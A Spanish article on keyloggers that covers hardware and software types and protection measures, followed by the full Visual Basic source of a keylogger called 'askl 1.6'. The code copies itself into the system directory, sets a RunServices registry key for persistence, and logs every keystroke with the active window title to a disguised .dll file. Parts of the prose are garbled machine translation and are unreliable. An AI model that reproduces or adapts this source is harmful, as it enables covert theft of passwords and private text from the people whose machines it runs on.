Keylogger
DEFINICION
El keylogger es un diagnóstico utilizado en el desarrollo de software que se encarga de registrar las pulsaciones que se realizan sobre el teclado, para memorizarlas en un fichero y/o enviarlas a través de internet.
El registro de lo que se teclea puede hacerse tanto con medios de hardware como de software. Los sistemas comerciales disponibles incluyen dispositivos que pueden conectarse al cable del teclado (lo que los hace inmediatamente disponibles pero visibles si un usuario lo revisa) y al teclado mismo (que no se ven pero que se necesita algún conocimiento de como soldarlos). Escribir aplicaciones para realizar keylogging es trivial y, como cualquier programa computacional, puede ser distribuido a través de un troyano o como parte de un virus informático o gusano informático. Se dice que se puede utilizar un teclado virtual para evitar esto, ya que sólo requiere clics del ratón. Sin embargo, la aplicaciones más nuevas también registran pantallazos que anulan la seguridad de esta medida. Además, esto puede ser falso ya que los eventos de mensajes del teclado deben ser enviados al programa externo para que se escriba el texto, por lo que cualquier keylogger podría registrar el texto escrito mediante un teclado virtual.
Tipos de keyloggers
El registro de las pulsaciones del teclado se puede alcanzar por medio de hardware y de software:
- Keylogger por hardware, son dispositivos disponibles en el mercado que vienen en tres tipos:
- Adaptadores en línea que se intercalan en la conexión del teclado, tienen la ventaja de poder ser instalados inmediatamente. Sin embargo, mientras que pueden ser eventualmente inadvertidos se detectan fácilmente con una revisión visual detallada.
- Dispositivos que se pueden instalar dentro de los teclados estándares, requiere de habilidad para soldar y de tener acceso al teclado que se modificará. Son detectables a menos que se abra el cuerpo del teclado.
- Teclados reales del reemplazo que contienen el Keylogger ya integrado. Son virtualmente imperceptibles, a menos que se les busque específicamente.
- Keyloger por software. Contrariamente a las creencias comunes, un keylogger por software es simple de escribir, con un conocimiento de trabajo de C o de C++ y un conocimiento de los API proporcionados por el sistema operativo del objetivo. Los keyloggers del software bajan en las categorías siguientes:
- Basado en núcleo: Este método es el más difícil de escribir, y combatir. Tales keyloggers residen en el nivel del núcleo y son así prácticamente invisibles. Derriban el núcleo del OS y tienen casi siempre el acceso autorizado al hardware que los hace de gran alcance. Un keylogger que usa este método puede actuar como conductor del teclado por ejemplo, y accede así a cualquier información mecanografiada en el teclado mientras que va al sistema operativo.
- Enganchados: Tales keyloggers enganchan el teclado con las funciones proporcionadas por el sistema operativo. El sistema operativo los activa en cualquier momento en que se presiona una tecla y realiza el registro.
- Métodos creativos: Aquí el programador utiliza funciones como GetAsyncKeyState, GetForegroundWindow, etc. Éstos son los más fáciles de escribir, pero como requieren la revisión el estado de cada tecla varias veces por segundo, pueden causar un aumento sensible en uso de la CPU y pueden ocasionalmente dejar escapar algunas pulsaciones de teclas.
Protección
En algunas pcs podemos darnos cuenta si están infectadas por un keylogger (dependiendo de la frecuencia de nuestro procesador) por el hecho de que el programa registrara cada una de nuestras teclas de la siguiente manera: FicheroLog = FicheroLog + UltimaTecla, este evento será ejecutado por el keylogger cada vez que presiones una tecla, si bien este evento no será una carga relevante para nuestro procesador si se ejecuta a una velocidad normal pero si mantienes unas 10 teclas presionadas por unos 30 segundos y tu sistema se congela o su funcionamiento es demasiado lento podriamos sospechar que un keylogger se ejecuta sobre nuestro sistema.
Monitor de procesos
En windows XP, generalmente presionando ctrl+alt+supr o llendo a Inicio>Ejecutar>taskmgr>aceptar podremos acceder al monitor de procesos y aplicaciones para averiguar que no se esté ejecutando ningun keylogger, es aconsejable contar con un software anti-rootkit para detectar los procesos ocultos.
Anti-spyware
Los usos de Anti-spyware pueden detectar muchos keyloggers y limpiarlos. Vendedores responsables de supervisar la detección del software support por programas del anti-spyware, así previniendo el abuso del software.
Firewall
Permitir un cortafuego no para keyloggers por sí mismo, sino puede prevenir posiblemente la transmisión del material registrado sobre la red.
Los monitores de red
Los monitores de la red (también conocidos como reverso-firewall) se pueden utilizar para alertar al usuario siempre que un uso procure hacer una conexión de red. Esto da a usuario la ocasión de evitar que el keylogger “telefonee el hogar” con su información mecanografiada.
Software de Anti-keylogging
El software de la detección de Keylogger está también disponible. Algo de este tipo del uso “firmas” del software de una lista de todos los keyloggers sabidos. Los usuarios legítimos De la PC pueden entonces funcionar periódicamente una exploración de esta lista, y el software busca los artículos de la lista en duro-conduce. Una desventaja de este acercamiento es que protege solamente contra keyloggers en la lista firma-basada, con el vulnerable restante de la PC a otros keyloggers.
El otro software de la detección no utiliza una lista de la firma, sino que por el contrario analiza los métodos de funcionamiento de muchos módulos en la PC, permitiéndola a bloquear el trabajo de muchos diversos tipos de keylogger. Una desventaja de este acercamiento es que puede también bloquear software legítimo, non-keylogging. Algunos keyloggers heurística-basados tienen la opción para desbloquear buen software sabido, pero éste puede causar las dificultades para los usuarios inexpertos.
Otros métodos
La mayoría de los keyloggers pueden ser engañados alternándose entre mecanografiar las credenciales de la conexión y mecanografiar caracteres en alguna parte en la ventana del foco. Semejantemente, uno puede mover su cursor usando el ratón durante mecanografiar, haciendo los golpes de teclado registrados estar en la orden incorrecta. Uno puede también utilizar menús del contexto para quitar, para copiar, el corte y piezas de la goma del texto mecanografiado sin usar el teclado.
¿Qué es un keylogger?
- Un keylogger es un malware del tipo daemon.
- Keylogger deriva del Ingles: Key (Tecla) y Logger (Registrador), "Registrador de teclas".
Ejemplo
Código fuente del motor del keylogger askl 1.6 en Visual Basic:
Declaración:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public aRez As String
Public AsKlTxt As String
Public ultAplica As String
Public prnTxt As String
Public conBin As Boolean
Public impBin As Boolean
Inicio del formulario:
Private Sub Form_Load()
Dim SysDir As String
RegSvc
On Error GoTo Error
Dim c As String * 256
SysDir = RTrim$(LCase$(Left$(c, GetSystemDirectory(c, Len(c)))))
If LCase(App.Path) = LCase(SysDir) Then
GoTo Okz
Exit Sub
Else
FileCopy LCase(App.Path & "" & App.EXEName & ".exe"), LCase(SysDir & "" & App.EXEName & ".exe")
Shell LCase(SysDir & "" & App.EXEName & ".exe")
End
End If
Exit Sub
Okz:
ultAplica = VentanaActiva(True)
SaveSettingString HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRunServices", App.EXEName, LCase(SysDir & "" & App.EXEName & ".exe")
AsKlTxt = LCase(App.Path & "" & App.EXEName & ".dll")
w = FreeFile
Open AsKlTxt For Append As w
Print #w, vbCrLf & "ASKL Freeware 1.6 - Comenzando: " & Fechado
Close w
Me.tmrAsKl.Enabled = True
Exit Sub
Error:
End
End Sub
Public Function Fechado()
Dim d As String
Dim m As String
d = VBA.DateTime.Weekday(VBA.DateTime.Date)
Select Case Val(d)
Case 1: d = "Domingo"
Case 2: d = "Lunes"
Case 3: d = "Martes"
Case 4: d = "Miércoles"
Case 5: d = "Jueves"
Case 6: d = "Viernes"
Case 7: d = "Sábado"
End Select
m = Str(VBA.DateTime.Month(VBA.DateTime.Date))
Select Case Val(m)
Case 1: m = "Enero"
Case 2: m = "Febrero"
Case 3: m = "Marzo"
Case 4: m = "Abril"
Case 5: m = "Mayo"
Case 6: m = "Junio"
Case 7: m = "Julio"
Case 8: m = "Agosto"
Case 9: m = "Septiembre"
Case 10: m = "Octubre"
Case 11: m = "Noviembre"
Case 12: m = "Diciembre"
End Select
Fechado = d & " " & Val(Left(VBA.Date, 2)) & " de " & m & " de " & VBA.Year(VBA.DateTime.Date)
End Function
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim w As Integer
w = FreeFile
Open AsKlTxt For Append As w
If (aRez <> "") Then
Print #w, aRez
End If
Close w
End Sub
Private Sub tmrAsKl_Timer()
If (ultAplica <> VentanaActiva(False)) And (VentanaActiva(False) <> "") Then
prnTxt = ultAplica
ultAplica = VentanaActiva(False)
impBin = True
GoTo Imprime
End If
Dim aChr As String
Dim i As Integer
i = 0
For i = 0 To 256
If GetAsyncKeyState(i) = -32767 Then
aChr = Chr(i)
GoTo Comprueba
Exit For
End If
Next i
Exit Sub
Comprueba:
If (i >= "65") And (i <= "90") Then
If (eShift = False) Then
If eBloqMayús = True Then
aChr = UCase(Chr(i))
Else
aChr = LCase(Chr(i))
End If
Else
If eBloqMayús = False Then
aChr = UCase(Chr(i))
Else
aChr = LCase(Chr(i))
End If
End If
End If
If (i >= "48") And (i <= "57") Then
If eShift = True Then
Select Case Val(Chr(i))
Case 0
aChr = "="
Case 1
aChr = "!"
Case 2
aChr = Chr("34")
Case 3
aChr = "#"
Case 4
aChr = "$"
Case 5
aChr = "%"
Case 6
aChr = Chr("38")
Case 7
aChr = "/"
Case 8
aChr = "("
Case 9
aChr = ")"
End Select
End If
End If
Select Case i
Case 1
aChr = "[c1]"
Case 2
aChr = "[c2]"
Case 8
aChr = "[BackSpace]"
Case 9
aChr = "[Tab]"
Case 13
aChr = "[Enter]" & vbCrLf & Chr(9)
Case 16
aChr = ""
Case 17
aChr = "[Control]"
Case 18
aChr = "[Alt]"
Case 27
aChr = "[Esc]"
Case 33
aChr = "[RePág]"
Case 34
aChr = "[AvPág]"
Case 35
aChr = "[Fin]"
Case 36
aChr = "[Inicio]"
Case 37
aChr = "[Izq]"
Case 38
aChr = "[Arb]"
Case 39
aChr = "[Der]"
Case 40
aChr = "[Abj]"
Case 44
aChr = "[ImprPant]"
Case 45
aChr = "[Ins]"
Case 46
aChr = "[Supr]"
Case 91
aChr = "[win]"
Case 92
aChr = "[win]"
Case 93
aChr = "[mnu]"
Case 96
aChr = "0"
Case 97
If eShift = True Then
aChr = "[Fin]"
Else
aChr = "1"
End If
Case 98
If eShift = True Then
aChr = "[Abj]"
Else
aChr = "2"
End If
Case 99
If eShift = True Then
aChr = "[AvPág]"
Else
aChr = "3"
End If
Case 100
If eShift = True Then
aChr = "[Izq]"
Else
aChr = "4"
End If
Case 101
aChr = "5"
Case 102
If eShift = True Then
aChr = "[Der]"
Else
aChr = "6"
End If
Case 103
If eShift = True Then
aChr = "[Inicio]"
Else
aChr = "7"
End If
Case 104
If eShift = True Then
aChr = "[Arr]"
Else
aChr = "8"
End If
Case 105
If eShift = True Then
aChr = "[RePág]"
Else
aChr = "9"
End If
Case 106
aChr = "*"
Case 107
aChr = "+"
Case 109
aChr = "-"
Case 110
aChr = "."
Case 111
aChr = "/"
Case 112
aChr = "[F1]"
Case 113
aChr = "[F2]"
Case 114
aChr = "[F3]"
Case 115
aChr = "[F4]"
Case 116
aChr = "[F5]"
Case 117
aChr = "[F6]"
Case 118
aChr = "[F7]"
Case 119
aChr = "[F8]"
Case 120
aChr = "[F9]"
Case 121
aChr = "[F10]"
Case 122
aChr = "[F11]"
Case 123
aChr = "[F12]"
Case 144
aChr = "[BloqNum]"
Case 145
aChr = "[BloqDespl]"
Case 186
If (eShift = True) Then
aChr = "¨"
Else
aChr = "´"
End If
Case 187
If (eShift = True) Then
aChr = "*"
Else
aChr = "+"
End If
Case 188
If (eShift = True) Then
aChr = ";"
Else
aChr = ","
End If
Case 189
If (eShift = True) Then
aChr = "_"
Else
aChr = "-"
End If
Case 190
If (eShift = True) Then
aChr = ":"
Else
aChr = "."
End If
Case 191
If (eShift = True) Then
aChr = "]"
Else
aChr = "}"
End If
Case 192
If (eShift = True) Then
aChr = "Ñ"
Else
aChr = "ñ"
End If
Case 219
If (eShift = True) Then
aChr = "?"
Else
aChr = "'"
End If
Case 220
If (eShift = True) Then
aChr = "°"
Else
aChr = "|"
End If
Case 221
If (eShift = True) Then
aChr = "¡"
Else
aChr = "¿"
End If
Case 222
If (eShift = True) Then
aChr = "["
Else
aChr = "{"
End If
Case 226
If (eShift = True) Then
aChr = ">"
Else
aChr = "<"
End If
End Select
If aChr <> "" Then aRez = aRez & aChr
Exit Sub
Imprime:
If (impBin) Then
aRez = Replace(aRez, "[Control][Alt]q", "@")
aRez = Replace(aRez, "[Control][Alt]'", "")
aRez = Replace(aRez, "[Control][Alt]|", "¬")
aRez = Replace(aRez, "[Control][Alt]+", "~")
aRez = Replace(aRez, "[Control][Alt]{", "^")
aRez = Replace(aRez, "[Control][Alt]}", "`")
aRez = Replace(aRez, "[Control][Alt]+", "~")
aRez = Replace(aRez, "´ ", "´")
aRez = Replace(aRez, "´a", "á")
aRez = Replace(aRez, "´e", "é")
aRez = Replace(aRez, "´i", "í")
aRez = Replace(aRez, "´o", "ó")
aRez = Replace(aRez, "´u", "ú")
aRez = Replace(aRez, "´y", "ý")
aRez = Replace(aRez, "´A", "Á")
aRez = Replace(aRez, "´E", "É")
aRez = Replace(aRez, "´I", "Í")
aRez = Replace(aRez, "´O", "Ó")
aRez = Replace(aRez, "´U", "Ú")
aRez = Replace(aRez, "´Y", "Ý")
aRez = Replace(aRez, "¨ ", "¨")
aRez = Replace(aRez, "¨a", "ä")
aRez = Replace(aRez, "¨e", "ë")
aRez = Replace(aRez, "¨i", "ï")
aRez = Replace(aRez, "¨o", "ö")
aRez = Replace(aRez, "¨u", "ü")
aRez = Replace(aRez, "¨y", "ÿ")
aRez = Replace(aRez, "¨A", "Ä")
aRez = Replace(aRez, "¨E", "Ë")
aRez = Replace(aRez, "¨I", "Ï")
aRez = Replace(aRez, "¨O", "Ö")
aRez = Replace(aRez, "¨U", "Ü")
aRez = vbCrLf & VBA.Date & " " & VBA.Time$ & " [" & prnTxt & "]" & vbCrLf & Chr(9) & aRez
'Debug.Print aRez
Dim w As Integer
w = FreeFile
Open AsKlTxt For Append As w
Print #w, aRez
Close w
aRez = ""
impBin = False
End If
End Sub